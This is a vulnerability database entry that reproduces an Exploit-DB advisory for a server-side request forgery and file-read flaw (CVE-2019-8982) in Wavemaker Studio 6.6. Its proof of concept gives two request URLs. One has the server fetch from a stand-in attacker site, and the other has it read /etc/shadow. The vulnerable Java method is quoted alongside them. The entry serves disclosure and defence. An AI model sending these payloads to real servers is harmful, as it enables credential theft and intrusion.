Wavemaker Studio 6.6 - Server-Side Request Forgery (SSRF)

vendor:

Wavemaker Studio

by:

Gionathan "John" Reale

9.6

CVSS

CRITICAL

Server-Side Request Forgery (SSRF)

Unknown

CWE

Product Name: Wavemaker Studio

Affected Version From: 6.6

Affected Version To: 6.6

Patch Exists: NO

Related CWE: CVE-2019-8982

CPE: wavemaker

Metasploit:

Other Scripts:

Tags: cve,cve2019,wavemaker,lfi,ssrf,edb

CVSS Metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Nuclei References: https://www.exploit-db.com/exploits/45158, https://nvd.nist.gov/vuln/detail/CVE-2019-8982

Nuclei Metadata: {'max-request': 1, 'vendor': 'wavemaker', 'product': 'wavemarker_studio'}

Platforms Tested: Parrot OS

2018

Wavemaker Studio 6.6 – Server-Side Request Forgery (SSRF)

Wavemaker Studio 6.6 contains an exploitable unvaildated parameter allowing an attacker to pass dangerous content to a victim via a phishing link. The vulnerability can also be exploited to access sensitive data or to use the server hosting Wavemaker as a form of HTTP proxy among other things.

Mitigation:

Unknown

Source

Exploit-DB raw data:

# Exploit Title: Wavemaker Studio 6.6 - Server-Side Request Forgery (SSRF).
# Exploit Author: Gionathan "John" Reale
# Google Dork: N/A
# Date: 2018-08-01
# Vendor Homepage: http://www.wavemaker.com/
# Software Link: https://github.com/cloudjee/wavemaker/blob/master/wavemaker/wavemaker-studio/
# Affected Version: 6.6
# Tested on: Parrot OS
# CVE : 2019-8982
 
# Description
# Wavemaker Studio 6.6 contains an exploitable unvaildated parameter allowing an 
# attacker to pass dangerous content to a victim via a phishing link. The vulnerability
# can also be exploited to access sensitive data or to use the server hosting Wavemaker
# as a form of HTTP proxy among other things.
 
# Proof Of Concept
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=http://attackersite.com/
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=file///etc/shadow

# Vulnerable Code
# /wavemaker-studio/services/studioService/src/com/wavemaker/studio/StudioService.java

# Line 419-430
@ExposeToClient
public String getContent(String inUrl) throws IOException {
	try {
			String str = getRemoteContent(inUrl);
            str = str.replace("<head>", "<head><base href='" + inUrl
                + "' /><base target='_blank' /><script>top.studio.startPageIFrameLoaded();</script>");
            return str;
        } catch (Exception e) {
            return "";
        }
}